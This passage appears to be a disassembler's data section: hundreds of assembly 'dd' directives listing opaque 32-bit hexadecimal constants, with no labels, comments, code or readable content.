		dd 612B9606h, 0B4B9EDE8h, 13E0141Eh, 165687D1h,	8850CEF0h
		dd 6F06C0F8h, 0F35B0BEDh, 8C770C3Bh, 0C604D500h, 2F69604Eh
		dd 0E2DA02CEh, 0E350A880h, 11213E00h, 0D18A0FF0h, 58944084h
		dd 2D1C9A23h, 246EAF45h, 0C2CF04B2h, 9CBC2D40h,	8102AA93h
		dd 6A27D320h, 1948343h,	4ABAC3EBh, 238C2F99h, 82FA1DDBh
		dd 40208C6Bh, 36AEBC83h, 24F78EC1h, 6301355Ch, 0EBDC7947h
		dd 1C38A24Ch, 45D5430Fh, 812CC693h, 7DC709Eh, 236D1C6Fh
		dd 22F823B7h, 0B45C7A39h, 908E8137h, 60C04388h,	74383F7Bh
		dd 46EA04F2h, 0C42ACB02h, 680CC964h, 8C45BC1Ch,	0F6095B16h
		dd 47808C34h, 1CE582D4h, 4070656Bh, 0DC4E16FEh,	501F216Eh
		dd 74452E20h, 0D895607Ah, 10A93C74h, 91E492A8h,	0ED0F0B7h
		dd 7F8F0FD9h, 637C71C0h, 4E177BE2h, 786F0EE4h, 0B0C6D900h
		dd 4D5A789Dh, 0F70DA58h, 0C02A5835h, 0B8E6F2D1h, 0AF7D1CFEh
		dd 8AF05D93h, 7EA81808h, 0C6004346h, 0ED452135h, 0D8965A4Eh
		dd 0BD3A7A85h, 94A8B090h, 5F3B80A1h, 577C3Ch, 832FCDFEh
		dd 133635ABh, 40261055h, 4A4B3AECh, 0B812E9BFh,	709E025Fh
		dd 4C6BA681h, 0CDDC5082h, 0D840B3ECh, 46E49234h, 2D070294h
		dd 9C146EA9h, 0FFBC03B0h, 8D6CE32Ch, 3C0D27F9h,	8C4BBCECh
		dd 0A22D1900h, 0FFAADFC4h, 7B2C0517h, 0F5E827h,	3F16259Ch
		dd 0CE0C293Ah, 0B0ED8FCCh, 394CB926h, 0A3AEC30Fh, 0A2936FE4h
		dd 0E6F500E0h, 67CF3DB0h, 50C0091h, 0D0D49A3Bh,	0B9A1D92Eh
		dd 0A7609DE0h, 7DB8B254h, 0B4CB874Eh, 7EC0DAC8h, 196FE84Bh
		dd 0A0F83B8Dh, 154615Dh, 486BFEF4h, 9FA3588h, 0A0807862h
		dd 520E01DBh, 48183C45h, 721878B8h, 3F11CAE1h, 2889EFF4h
		dd 8CE57D51h, 606749E4h, 0C03E212Ch, 4FEDC100h,	0D3C7B43Ah
		dd 102003A2h, 0E38D7090h, 0A803B88Eh, 83D2ECA0h, 0CBE01D03h
		dd 8481ED54h, 3A1CE5EBh, 0B600986Eh, 78F826BAh,	0D42AEC44h
		dd 8404A0D5h, 0C06D4102h, 2855CC90h, 50EA5A26h,	0C7E8C8B8h
		dd 33B4008Ch, 0CCE71113h, 0AD1F8A81h, 0BC287A2Eh, 1FDA0820h
		dd 8054A540h, 0CBA6454Eh, 689E5E4Ch, 0EA72200h,	18D9977Ah
		dd 3084F45Fh, 3A4AB4DAh, 0A9026C6Bh, 8E6CC69Fh,	0E280BC5Ch
		dd 0BACAF458h, 0A5490029h, 3146FA95h, 0DA1D2567h, 8D0059C3h
		dd 29B50824h, 5BD738ECh
		dd 0E0F88858h, 4CCD0C8Eh, 55E04176h, 71895769h,	18497918h
		dd 626F01BDh, 40D6D31Bh, 17C7418h, 2A0004ECh, 0F1B0C383h
		dd 9D504681h, 0C691DC17h, 67851780h, 0EE05B608h, 0DBE570A9h
		dd 28A598D0h, 0D3D52AECh, 0DC9CB488h, 9AD4D900h, 0CD8DDFE8h
		dd 58363928h, 1F1084C8h, 3F1E73FAh, 3B973E89h, 9018E84Bh
		dd 0F5E98B8h, 77D47260h, 0EC646B81h, 564AFCA5h,	32C7E204h
		dd 0E4816699h, 686CCBB9h, 8C4AECh, 3F9CB9FDh, 0FC98F418h
		dd 3A663B02h, 600ABEA5h, 956102BBh, 3FE4EC02h, 42B590A1h
		dd 0AC08390Fh, 0C3EF00A7h, 15109381h, 0D849CC8Fh, 0D5EB0A14h
		dd 0C89A0A9h, 86EC20FCh, 1B11213h, 11C43EE3h, 0E0EC6047h
		dd 2E00810Dh, 4271F322h, 0D3C018D0h, 23303B68h,	996100E0h
		dd 797B5348h, 3A4AF2Fh,	0E9CAFAACh, 203F24DBh, 403448F4h
		dd 15609400h, 0E11EA61Fh, 2DFC90B7h, 0E8971CDBh, 0C80E891h
		dd 0E70A9B47h, 0D57744F0h, 41B4E951h, 2E06D403h, 0C200546Eh
		dd 0B4D8BDEEh, 39047FE5h, 3D79FC08h, 4A8830CEh,	0A81AABC3h
		dd 437322Dh, 0ED6E221Bh, 63D8F03Fh, 0C1F24C25h,	0E848AC34h
		dd 91936AD4h, 0D94674D0h, 77BD3707h, 0FC27B196h, 26464CDh
		dd 0D12C9184h, 0FF8184Ah, 41CEDB83h, 0EC7DD1E0h, 90B3E68Eh
		dd 3727h, 6196F213h, 4C90E1CFh,	0C8A97D16h, 389EB457h
		dd 0E2C0A8C5h, 41187004h, 0DC50D4B5h, 0ACA50047h, 9818EA5Fh
		dd 0E48E1A8h, 8CF8E8CCh, 0DB238E03h, 0DAEEA1E5h, 0D1D4C88Bh
		dd 7C734Eh, 0DF684C05h,	301DA0CEh, 0C8186406h, 12BE6335h
		dd 40FF0CBBh, 4E2E5168h, 2D0032CCh, 9E8FE38Ch, 0E61394h
		dd 0A7830A70h, 785B6B3Fh, 8061722Fh, 4055300Ch,	7CF7A26Eh
		dd 0D1F51728h, 3AA50164h, 84CE1840h, 717BC4DFh,	0BE6A0F67h
		dd 0CB9747FAh, 0C04CC8C4h, 2AD75BDAh, 0E0997EAh, 0E0ACEE29h
		dd 0C5BEF5DCh, 14575098h, 0B1273CB5h, 0F081AC42h, 1103633Eh
		dd 80B2807Ah, 0FC4C0418h, 87932104h, 0C4381178h, 0E2933200h
		dd 0B9CDD448h, 0C56E085Ch, 6B02D9E7h, 586F3E54h, 22D5777Ch
		dd 54B1CC30h, 3118DC71h, 44CCAB02h, 42416D74h, 0C4A0E544h
		dd 20AF6045h, 3A7A0ADBh, 0F90E049h, 0E1E86F58h,	0C07F093Eh
		dd 6C949884h, 78050081h, 0DB56F735h, 0E009438h,	838770A7h
		dd 0C1418EB1h, 0FA4A0261h, 0B6CFD8B8h, 0CBC0AB00h, 0CA1C641Bh
		dd 82241339h, 0C8E8CB54h, 6B44C3F7h, 626C3F91h,	24192E28h
		dd 0F851ED43h, 1C5C310h, 8706AE32h, 0EA9EEE2Fh,	0DD05B480h
		dd 239DE29Bh, 8CCA6E4h,	0E853CD19h, 6F589827h, 0F11325E5h
		dd 0EFC72048h, 5D12280h, 4EBB7D2Ah, 0F0CCA620h,	7451307Bh
		dd 0C88B041Dh, 0EDA5D577h, 34C90104h, 81D618B1h, 3DA813F0h
		dd 482EA5Dh, 0AC97359Ah, 0EF8340D1h, 1DF0E7ECh,	0EDBF0BA8h
		dd 6A272816h, 4004EFB6h, 0AA678798h, 6837F800h,	345F62ACh
		dd 0FD0B302Fh, 0B9A68929h, 69E73D00h, 8E1ACCB8h, 0A71D4885h
		dd 7F89C448h, 3E0D10F0h, 3886AC6Ah, 0ED88044Eh,	0DC08FDC1h
		dd 79D06E8h, 804EB89Ch,	0F86B9094h, 4725DB12h, 2C009E8h
		dd 1D7494Ch, 55010DD0h,	0F2C0E28Ch, 89033EBh, 1270A69Ah
		dd 22361400h, 55B65DBh,	0FA092AFEh, 0ECB72DE0h,	0A39CA7h
		dd 42BBEAFFh, 5484401Ch, 16C44ADh, 83516CB2h, 0E4A3FA69h
		dd 0F7031B7Eh, 17A91FCh, 77EAB087h, 0AE83020Dh,	3E02ED08h
		dd 0FEE41C60h, 71D60AF0h, 48F2A4F2h, 0A28130h, 696082Bh
		dd 6FC14E8Ah, 0DE4C5513h, 5A5F481h, 4BF83C68h, 51FB3C8Ch
		dd 0BF551507h, 3EBAE06Fh, 0EC000A39h, 245FCE6h,	98DE11AEh
		dd 44E44ECCh, 0B48E0F74h, 3F27DA1Ch, 46E04140h,	224F1852h
		dd 7456513Eh, 0D483A064h, 58C09EDEh, 0F32D5FDh,	9CDE7520h
		dd 0D2061CD6h, 0AC4580EAh, 0B3DF6CE5h, 93E8EFFDh, 0DC2C22FBh
		dd 5508E005h, 2DA50FB2h, 42D3EB23h, 1DAC4940h, 8E2C30EFh
		dd 1813795Eh, 0DF8848CBh, 0B54BA7C0h, 125301ECh, 0FCFEEB19h
		dd 0F8944C55h, 0B571E540h, 0D3CE0C10h, 76ADF41Fh, 54139080h
		dd 0DD18Dh, 49CCC04Dh, 8E9CD699h, 3D313F60h, 3E4E19h, 78843216h
		dd 81E2D46h, 60B6290Eh,	8321001Ch, 25AE9B2Fh, 0CC350F71h
		dd 7EE28880h, 14771A3h,	5F9DE57h, 3AFBEBD5h, 7276C844h
		dd 0F03AA503h, 50F9E101h, 427D87Dh, 4AE875D3h, 237C2F0Dh
		dd 0EDA00048h, 2CB8B239h, 8B808A00h, 7B7A663Bh,	25E609DBh
		dd 0A8373A16h, 580BA205h, 0CB82DFC0h, 0C93A694Ch, 0F71880C0h
		dd 0EA1D84A8h, 90F2931Ch, 0CB9BA107h, 52803D30h, 2D9FF87Fh
		dd 5410EC04h, 2EF77008h, 0E00DF004h, 50C9002h, 2370BCD3h
		dd 0C5EE2789h, 97BB4C10h, 0CC1F9A70h, 10C013DEh, 40A74CDBh
		dd 0E2500778h, 6744DDFFh, 2B7E45Ah, 0F922F935h,	18F279A4h
		dd 8B652847h, 79B400BCh, 4A3CA7F0h, 2EFFFE92h, 3F502C41h
		dd 0A03DE748h, 7A94C307h, 3C65497Eh, 0B761C8E4h, 22A0F007h
		dd 3E823102h, 7E7AD192h, 0ECE78280h, 7CD4DA5Bh,	50A25404h
		dd 0DFE57B01h, 883B7AEFh, 2607DA23h, 0C58FC43Dh, 74E3E733h
		dd 8230C7B2h, 7E94000Eh, 80BCD85h, 0D80AAB4Ah, 0C8C4ED79h
		dd 746B2F01h, 406F4916h, 0C85B1EC4h, 1163430h, 4820D0EBh
		dd 1AB8099h, 0E0A6782Eh, 2E910A2Dh, 0DE23402Fh,	64800A00h
		dd 135D1D6Dh, 207BD1ECh, 7843ACCh, 7ADD9C02h, 0F2EE1027h
		dd 0E9B92064h, 0ED73B325h, 0A5F2C080h, 8D02B265h, 5BD56E97h
		dd 9140D9FCh, 0F0145693h, 3F2ECF99h, 8189E010h,	5400F3E3h
		dd 0FE1DDF9Ch, 17885225h, 89E091D8h, 0DCE81ADCh, 0D304DCF8h
		dd 0B69A228h, 853EA8F9h, 0C0484E9Ch, 0CE53973Fh, 0B002E29h
		dd 55B91F23h, 92588E42h, 0F32600A8h, 0DE1E88A4h, 209AEF21h
		dd 915C1795h, 6B2480E0h, 0BB8E5EEh, 0F76E2644h,	32197C61h
		dd 0B1360028h, 251E12ADh, 854B0032h, 0F983A8D0h, 0E4076C14h
		dd 0AF228924h, 38AC87B4h, 8CDBBCh, 0B6DF5643h, 23A9E80Fh
		dd 7BF1D100h, 0FE1C7A86h, 0D2E2E404h, 0C8FCCB30h, 0E1C7C044h
		dd 0D8A7063Bh, 1067F7E4h, 277B75D8h, 80EDF82Fh,	1EFE3B18h
		dd 50460282h, 4CE2546Bh, 0D38B3CD4h, 455466FFh,	934040F7h
		dd 0A716E609h, 30C88971h, 85448472h, 0F1D70023h, 1A21FD25h
		dd 139F7BEBh, 0FBA3BCh,	8F0D81A1h, 5778655Ch, 0C7BA4709h
		dd 116C1D0Ah, 3DD380DFh, 3947Ah, 8E47DA81h, 4D2AF8CAh
		dd 804ED102h, 5CF9C00Dh, 21BF9D54h, 0F3713C29h,	0EA009318h
		dd 9480EEA0h, 183930E5h, 919BB8CAh, 0EF6017FBh,	121F8531h
		dd 631C00AAh, 0AC9FBFD2h, 58B14155h, 0E718E1D1h, 0E8C5F00h
		dd 0C0164C7Eh, 20564A9Dh, 295289E0h, 6540E500h,	0E27FFC3Ch
		dd 0AE8F029Eh, 2E3825AFh, 9D938340h, 516EFE25h,	0CD8216F0h
		dd 0A8442930h, 4543006Dh, 66976033h, 1C906F59h,	0B92694BAh
		dd 0A400B4DEh, 0B8E0F493h, 85B1C0EFh, 0EC197788h, 0A93D7A16h
		dd 0AB22F48Fh, 0E24CED1Dh, 5FBE642Eh, 3804B053h, 7B0B717Eh
		dd 9DBF0050h, 3C6B9B8h,	5949ED2Fh, 0F8BCA829h, 0EC3F2E52h
		dd 5FE8FF4h, 0FB749112h, 4FEC680Dh, 4723C03Bh, 0E3B11D00h
		dd 1AD91378h, 68F84457h, 185AEC7Bh, 2952Ch, 3F630DB5h
		dd 106D0939h, 0CB795h, 373ECBCFh, 6C136B02h, 88A14246h
		dd 406EF021h, 4DDFF7F0h, 6A01F9EEh, 3E6B369Bh, 63FC921Bh
		dd 1A31906Dh, 0D0DB413Ah, 0A785C081h, 0F9880F50h, 3330DC0h
		dd 9158C482h
		dd 1F5332D2h, 2A81F391h, 445D2CA4h, 0D05800C0h,	47B80619h
		dd 70FAA125h, 877DF654h, 3260ECC4h, 6A014D25h, 618AF418h
		dd 0BDDD1375h, 5AD1BEF4h, 11B4C855h, 0CE42760Fh, 0B0D5720Eh
		dd 4523083Ah, 0C5F6A807h, 47DB1DD0h, 208095B4h,	0E463D8A1h
		dd 0EC58BF00h, 276C09Ah, 6D50001Bh, 2C97DADEh, 0F300D548h
		dd 0F70C1DF4h, 10CBBBh,	0ECCF037Ch, 971477Fh, 1BF87D00h
		dd 1176C6B2h, 105790Ah,	772A8602h, 0BCC36E55h, 0D1E00058h
		dd 0D349E1C5h, 418A1926h, 80D608BBh, 0C5CA0321h, 308E1C96h
		dd 369197EBh, 0CE74DE82h, 7E447200h, 9F59A3A6h,	2F570016h
		dd 3443F25Bh, 0B4A094C4h, 44009502h, 0C086087Bh, 6F7DB985h
		dd 300091A9h, 0D4973204h, 4D13E506h, 6B808F8h, 0A8DD02E0h
		dd 960E297Ah, 1F4961h, 0F7C4AA7Fh, 8B08CC46h, 5907BD21h
		dd 0C1F1CC49h, 5FB9A7A0h, 6FAEC4Dh, 6004387Eh, 76002810h
		dd 72D23997h, 17B062h, 2BC89D64h, 0C1070AECh, 1F32417Eh
		dd 30D680D4h, 1870495Ah, 8C224746h, 4952B600h, 0AFFE080Bh
		dd 2EBC3075h, 1BB801C8h, 0BBA2DD3Eh, 367B814Dh,	124530F1h
		dd 1FF8B6C8h, 83D08A43h, 0C49B7D9h, 9C8192CAh, 0FBA9866Ch
		dd 2D936107h, 49D1F2D7h, 0B5E4E775h, 51A7005Fh,	6C4179EEh
		dd 4D0DC1BAh, 408C83FCh, 2955DD0h, 1004DED4h, 80A01460h
		dd 75A83172h, 0E6BAB300h, 4A833916h, 62D600DFh,	0FA105A5h
		dd 80C39AC4h, 5065F17h,	83E52239h, 0E4B907D6h, 8CA667Ah
		dd 49211963h, 50CCD0DDh, 98E0E3BDh, 0F8D96007h,	0EAC9C0F0h
		dd 2208949h, 5E3A1BA6h,	671C00Fh, 8046607h, 0C90021A3h
		dd 99BF3A13h, 99FCB69h,	0B5B0D1D0h, 40818185h, 0AFAD8588h
		dd 5A3C64E3h, 4B1C83D7h, 98272D44h, 29044DAEh, 14A48C84h
		dd 0DE806410h, 0CA8BCF83h, 4217448Ch, 7F24D67Ah, 6A3C20BCh
		dd 0DB110871h, 1D495F83h, 8D316F82h, 4957BB10h,	0AD835300h
		dd 0E8F826FAh, 3E720C3Bh, 86E98A44h, 789A2050h,	8C274001h
		dd 2E7F051Bh, 488221D4h, 0AA309CC2h, 7D83DC51h,	8F947903h
		dd 0C61113h, 0FC012028h, 2CD855B1h, 0D7063890h,	90351B03h
		dd 7C783320h, 68A06E41h, 11C382A9h, 0E0BDDD9Dh,	0A519E49h
		dd 1AFCF1A1h, 99EBC39Ch, 9771A900h, 6613A89h, 86E239DFh
		dd 900FCB0Fh, 0C740D860h, 2C0C5331h, 7899F113h,	7E780087h
		dd 11BB6AF8h, 0F1C6D409h, 8180A8h, 3239F7DBh, 7521C7CEh
		dd 7689800h, 0E4438A8Eh, 0CD780541h, 88B5955h, 0E4C116E0h
		dd 0FAF5D583h, 48891E18h, 4829640h, 738E0251h, 0D4B58DFEh
		dd 86CC8461h, 8FBCF89h,	1B2B0C31h, 0B8B89DFDh, 82E98FFCh
		dd 384587F9h, 3DAC8528h, 0EBFCDC01h, 0A432547Ah, 0D9D17B83h
		dd 3AD2E4A0h, 0BADC2F18h, 767508h, 0C99E2B16h, 0B53413D9h
		dd 53001F79h, 4BEA7D1Eh, 6E0399Dh, 31427740h, 2B00EC44h
		dd 5CAACA5Bh, 254EACh, 97F63950h, 8AD449F4h, 0B7DC3F00h
		dd 4D323B1Ah, 63143048h, 0E2A04569h, 1F7E5D03h,	0E3C54CDBh
		dd 5EADE080h, 58DE1Ah, 0D11E8536h, 7AE27F9Fh, 86F9733h
		dd 58210F32h, 9471E7Dh,	0CF016959h, 0C126C272h,	16208032h
		dd 0E8C684D1h, 0DD1E0E0Ch, 0FBC01CA1h, 7C873197h, 0EC30E0F0h
		dd 0FFABD0A2h, 189DB01Ah, 2058042Bh, 0DC20C115h, 66A0C38Fh
		dd 0C1015E13h, 83D9CE7Bh, 0A458BAE4h, 0C69B8874h, 0E71DD900h
		dd 87F34C20h, 0E0D300A9h, 0B61CA274h, 1E038410h, 0A4036157h
		dd 3118A6ACh, 5B415CF2h, 4380D0E0h, 96117A60h, 5CB8EE73h
		dd 5F0C59FFh, 93085AF7h, 6BBB21C0h, 48CAB7EEh, 3D3980BCh
		dd 9FC71802h, 88A1AF25h, 49B8222Bh, 102CE0B0h, 88405430h
		dd 2A3AD681h, 0F540EADFh, 0EE087418h, 0C48AFFB9h, 6CBC408Fh
		dd 0F5A5EEh, 40500673h,	0C5ACB8A4h, 135CA0A0h, 0AC2C9028h
		dd 8130CE33h, 0FEC9A095h, 4B11C02Eh, 0B47239B6h, 1A9AB706h
		dd 60089FACh, 0AE6E213Fh, 27021F39h, 2B81585Ah,	4184CABh
		dd 9FCF1E83h, 202A626Fh, 8D1E7B56h, 34021AF8h, 54955065h
		dd 56C09804h, 3FF82818h, 0AB9F0A88h, 40CC6238h,	0AFF5AC1Bh
		dd 9037FF7Ch, 819F1876h, 6FC4E641h, 307E9842h, 0B611EE71h
		dd 8C8872FFh, 0EE69B980h, 0CAF14C8h, 21BBF0B4h,	1F605F78h
		dd 3138FFB1h, 0A5140EBAh, 0B0229F7Ah, 0A88889CCh, 0B49482E4h
		dd 0A484E4D5h, 39B360C6h, 8C9FFE6Fh, 6B4544h, 3F4B39ABh
		dd 186968E2h, 1201C200h, 267A9CADh, 0A1BDB002h,	8618AEC8h
		dd 9FD21E0Ah, 5970B087h, 6D1E027Eh, 9628B8A0h, 9F0D9C44h
		dd 109204C0h, 0CA6C058h, 205FAD7Bh, 51009441h, 5D88DB35h
		dd 660CB4h, 0C7D68C3Ah,	77D7BB22h, 0C6B38503h, 0F84AEA68h
		dd 48B98AD9h, 0B0230406h, 0D41E8801h, 2F18979Fh, 1E80918Bh
		dd 1DB2960h, 2AE7022Eh,	422FF7F0h, 5C406FC0h, 60A17CDCh
		dd 2FC2667h, 0E484D9CFh, 107831C2h, 0D9C79Ch, 0F9235166h
		dd 0D10375EAh, 21CA004h, 0F09CF30Eh, 6E048C7Bh,	5AFFB3EEh
		dd 0B6209262h, 2DEE66h,	2E9F48A6h, 0F3258D06h, 0D4AB7F09h
		dd 9C542575h, 0A8482812h, 3A01C9ACh, 59779FD0h,	5720FE8Ch
		dd 2EF1E7Ch, 3384235Fh,	0D4803C10h, 0FA6AEB21h,	0C598D6Ah
		dd 314674h, 0A6C669B6h,	94B0306h, 449C85FDh, 6F144822h
		dd 0EFFB8CA3h, 6C73EEB0h, 62DCEA00h, 0CE92E611h, 26FA85h
		dd 8929D15Dh, 7A6803E8h, 0C8642899h, 7139B560h,	11AFB423h
		dd 0AD6D0041h, 6EE82F39h, 8D507DCh, 3EF8755Ch, 80370B44h
		dd 14E07908h, 0A0671333h, 51F597E6h, 47EC2092h,	67734410h
		dd 662AF120h, 65DC0053h, 81B41557h, 5B443001h, 432E16Ah
		dd 8106626h, 0D414316Bh, 8C2DE8ECh, 9BBEDC00h, 24CD8572h
		dd 0D16FE6Ah, 491BE0B9h, 7CC2D758h, 0C480484Ch,	6258FFB4h
		dd 67B7E038h, 1CCC00EEh, 26E5C0E0h, 75005477h, 0F8C9D54Dh
		dd 267B8D60h, 3064C8ABh, 43FC9AD9h, 3C08ECF1h, 1BA9058h
		dd 6ACBC293h, 0A86070A7h, 5C3A057Ah, 0A308818h,	8BC8B4Ch
		dd 250F5560h, 9495ABh, 0E27E37DCh, 90777FCFh, 255F3000h
		dd 1F650F9h, 0BD0C2A09h, 42EC00D8h, 4C8F8DD9h, 24024441h
		dd 807C8A0Eh, 2DE42065h, 0A029DF60h, 30347B00h,	7CF43B8Fh
		dd 16A1F4EAh, 3A60EB99h, 8E23E0h, 0A380CF79h, 68020735h
		dd 1501AB8Ah, 0C43443BCh, 85D9D060h, 11CAE423h,	0C89D0077h
		dd 0DF101BD9h, 886A009Fh, 0B1ABF75Eh, 3026B3FFh, 8900186Fh
		dd 3FD803E4h, 0BB84A887h, 54492C27h, 0C0D03A83h, 8018D9D7h
		dd 98D5186Dh, 0F2E429C0h, 0CDA24040h, 0D4FC72D9h, 683B9100h
		dd 0B108260Dh, 29A112DCh, 88B800BAh, 0C8AC764Ch, 0E0907E68h
		dd 0E060CB12h, 217439B8h, 70C0C7B4h, 3BB39B0h, 0A46B8886h
		dd 46D99DC8h, 0C0585A31h, 0F6AD967Dh, 0C2C8A064h, 16A15C6h
		dd 0D500FC1Ch, 428087FBh, 0E1152E2Ah, 80F07D16h, 0FFB5EE70h
		dd 0B801876Ah, 0B499EE68h, 0CADFBE0h, 63C8CC01h, 0E0242AF8h
		dd 5F9F78DFh, 0FE703419h, 88167981h, 242F63DCh,	0E816A158h
		dd 501F9D04h, 492C3305h, 40E6E009h, 34B1257Ch, 0DB78780Eh
		dd 6B1C060h, 7E947CADh,	61E01CE3h, 38D346FFh, 0B608B07Bh
		dd 40AFF8h, 1F9205F7h, 0AC0D5080h, 0B817773Eh, 0A1F08866h
		dd 3658E78Dh, 0E09B132Ah, 3F23EC3Fh, 6814A406h,	0D90100D9h
		dd 2505C2C8h, 0F2022078h, 0F88BBB3Dh, 0A63C02F9h, 7484F489h
		dd 30B23252h, 0D6121E8Ah
		dd 48CBA79Fh, 1E825D00h, 0FC08C917h, 0A097E900h, 0E04A1341h
		dd 9C2CEF6Ch, 0F4B1F722h, 0EEBEC683h, 0C94FF07Ah, 0B0DD0992h
		dd 640B5768h, 0E4041812h, 0D9D3606Bh, 0E2E42388h, 0A0C43Fh
		dd 0A9ABD9CBh, 7263F56Ah, 0B49FB902h, 4A36C010h, 39740034h
		dd 0C19BF0E0h, 23FC22A0h, 6734210Ch, 131BF024h,	78DD303Bh
		dd 0B7070149h, 241825h,	64B40374h, 87FC9085h, 604744F0h
		dd 71FFF7D2h, 8B581DCDh, 0E43A89D1h, 285F2810h,	36C991C1h
		dd 0FEEC067Eh, 8E71000Ah, 0D0B6899h, 30A6342h, 9C6A14C7h
		dd 0E85D9187h, 0D8F22EE3h, 0B6C08Dh, 3985BE2Fh,	757EAC3Ah
		dd 5A2B1501h, 8408CC02h, 0E791C082h, 60718151h,	15182D71h
		dd 0FAF8C502h, 412FDA6Ch, 0D1176740h, 40A044C1h, 0CFFBE4CCh
		dd 9C06404Ah, 3CB16514h, 958009DDh, 6EE6EE57h, 66727B6Bh
		dd 0A385AD17h, 0A1EA2820h, 3A352C80h, 916600B4h, 8A87531Ah
		dd 0A6CEB514h, 1CC23C0h, 0B47539B9h, 80B023CFh,	0C339B171h
		dd 7B932614h, 64694434h, 748834E3h, 0BBAE3CC0h,	6E1509F3h
		dd 8C51726h, 0F16046E4h, 0EE00506Ch, 3CB8CBE9h,	50DCE0A2h
		dd 27419C84h, 141780E7h, 0E7803211h, 5967555h, 771237E2h
		dd 0CC189FAEh, 94E83F59h, 33465E84h, 6BDA1Fh, 730A076Eh
		dd 0C200F3DDh, 0EAF7538Bh, 2C85BC74h, 74F803CCh, 6C007346h
		dd 0FA6752CCh, 570255DCh, 0D09F6F3Ah, 0E4A46731h, 220E6144h
		dd 7FACEE0h, 0F5F7C1D5h, 0D1D627D7h, 3499A8C8h,	66888A6Ch
		dd 0B80E7196h, 629E00C7h, 1AF28F33h, 72006F20h,	0E7CA35ECh
		dd 0F4DA01BCh, 0F42B127Eh, 0D76C0233h, 1CCD5F13h, 0BC993EE0h
		dd 59520091h, 0BF23E1D6h, 33765695h, 8D79C4B9h,	36F89F18h
		dd 0FCF0D460h, 0C6DD14h, 71E67D66h, 87445C26h, 13F14388h
		dd 0D4B564h, 39460B31h,	6200ED45h, 0D0874D38h, 4877B46Eh
		dd 30E8449Ah, 43E1008Ch, 114F08D0h, 2C585A96h, 0E0A182F8h
		dd 0E12CCB50h, 4C2CC80Ch, 20B72517h, 2CFF6A6Ch,	3BFE51C5h
		dd 0F586EC41h, 13301956h, 0EB6F0012h, 9D8FF1FFh, 0A8025150h
		dd 0FC770B89h, 6C44419Bh, 0D909D418h, 1CEAE489h, 0CCA100ECh
		dd 0ADCE5AD9h, 66183F1Eh, 0DE811D5Fh, 4B910B73h, 20641BA1h
		dd 2A04CE00h, 0E24DAED9h, 75DA0168h, 0F290E7EDh, 36B4215Eh
		dd 9C4AF0C4h, 0CFB20051h, 0B055FC17h, 1C961466h, 0FBB34D81h
		dd 75C89659h, 58107154h, 0CC584C25h, 24814010h,	9906C867h
		dd 4E385DF0h, 0FD544013h, 2CD1E03Fh, 456D8800h,	0D9978110h
		dd 49600129h, 0D4A15FA9h, 42020E5h, 0D5C0C703h,	9433E125h
		dd 0FDB00CB6h, 2314C6E8h, 94A8310Dh, 8C33E828h,	370098E4h
		dd 2E8AD8E3h, 15BEA45Ah, 803C18B6h, 0CD0DC28h, 13D839E6h
		dd 0D6F6FD90h, 0B0591524h, 0A86E8193h, 0D0DAE400h, 4CC136F9h
		dd 41CF4B07h, 2C226403h, 6E5C4147h, 8CCD5030h, 9639BA3Ah
		dd 648BD7B4h, 39B27200h, 0A54218E9h, 0E7143B75h, 0F209E85h
		dd 0C06E123Ah, 0F8FE6A03h, 4718C22Ch, 0ECD88CE8h, 167E1412h
		dd 8AC8588Eh, 26D6B4C7h, 20CE00E9h, 9DEF6BE3h, 1B01D779h
		dd 8F6EA196h, 18700523h, 0AE5F4028h, 0E0A777E4h, 9A603144h
		dd 3200D4EAh, 0AFDE6E27h, 982412D6h, 60D8F6A8h,	34666065h
		dd 944A9C86h, 108B2016h, 36C043C8h, 0FA06E3A5h,	9C18122Ch
		dd 0A210441Bh, 0F2B0B204h, 0D0BD3172h, 38903D81h, 0D86C11E1h
		dd 0A8C27C75h, 0DE8CD0h, 0F8F06050h, 66814967h,	25D3993Ch
		dd 0A4B08F69h, 720E405Fh, 23783A37h, 0F3540044h, 8112867Fh
		dd 49283FAh, 0AC6F0900h, 453CB547h, 278F0079h, 97C89C1Ah
		dd 0F3E00B02h, 0D0BA6728h, 27627420h, 20171E56h, 0DC8F9391h
		dd 588F9180h, 0CF3D6657h, 0EA268E43h, 84CC0352h, 49607A7Dh
		dd 6A0B6C8Fh, 28C954FCh, 847D28Ch, 5C6040C4h, 7CB143F8h
		dd 64B47307h, 83CA11F0h, 3E0C1F7Ch, 0E26680E6h,	0D3A052F0h
		dd 905B3033h, 8136E989h, 0C8E09876h, 6200A5E2h,	5360B10h
		dd 9820EE1Ah, 3A20250h,	2D542BE4h, 0B0DD2060h, 0EC7E7424h
		dd 0CBFDDA07h, 0EF80C569h, 21009FF1h, 24B15BA9h, 0B6CB14ACh
		dd 8223D81Bh, 0BAEE7501h, 887C92FFh, 0EE6DBDB0h, 875E3A00h
		dd 26153E67h, 740B1AEh,	0FC2FFBE4h, 0B0133FB8h,	0E89AAAECh
		dd 21B8B01Dh, 6F71BC29h, 5A3B3618h, 0B059EAFCh,	42D4674h
		dd 0A142DBA2h, 9000ACB2h, 0B192B7D2h, 0E700E4ADh, 2ADDC7AAh
		dd 58DDF32h, 10B479D1h,	7524A01Ch, 0F5ACB0h, 48A41991h
		dd 6B7FCC54h, 8865203Dh, 11678CE4h, 73BBF56Dh, 0C0F8A754h
		dd 0DBEBE1A4h, 0D3A51C09h, 0D44C824Eh, 5EDC073Bh, 92DD2B47h
		dd 84C066CBh, 982F9299h, 234378Ch, 600D3B51h, 9A39FC72h
		dd 0F4B800E3h, 101A52E9h, 1418162Fh, 0C8C8CE43h, 0D413C18Ch
		dd 3CE0EA04h, 0AF163E09h, 0BF05CD85h, 0B4906433h, 2FBC04A1h
		dd 0BC116D6Eh, 108DCCC1h, 0EBF6DB0Eh, 0E32127DFh, 0A74D840h
		dd 177E1F56h, 34B940D0h, 87184B13h, 0C8C09F09h,	0C15C0095h
		dd 0B4960801h, 47465CE0h, 804923Eh, 80DA1033h, 53821A0Dh
		dd 3C2FD64Fh, 21003223h, 9183E39Eh, 1B3B18AEh, 8590A8A3h
		dd 0C84480h, 0F85A2B0Ch, 0A3934DCh, 1CB6330Ah, 465EB8E1h
		dd 26562E8Eh, 61BE2F03h, 0B0CCE41Bh, 0B41C8CC7h, 0A7D07039h
		dd 39C86CE3h, 0E61D1FBFh, 0D4A8C033h, 4FF2970Eh, 0E8532041h
		dd 0C15DBBFBh, 90C89F18h, 43D08C86h, 38C99188h,	9580FCACh
		dd 4BC23CD7h, 0B017298h, 21A6D25Eh, 66827D36h, 0EB89C928h
		dd 0AB25F4E0h, 209C8527h, 35C18110h, 0BACC2530h, 0AC9DAC42h
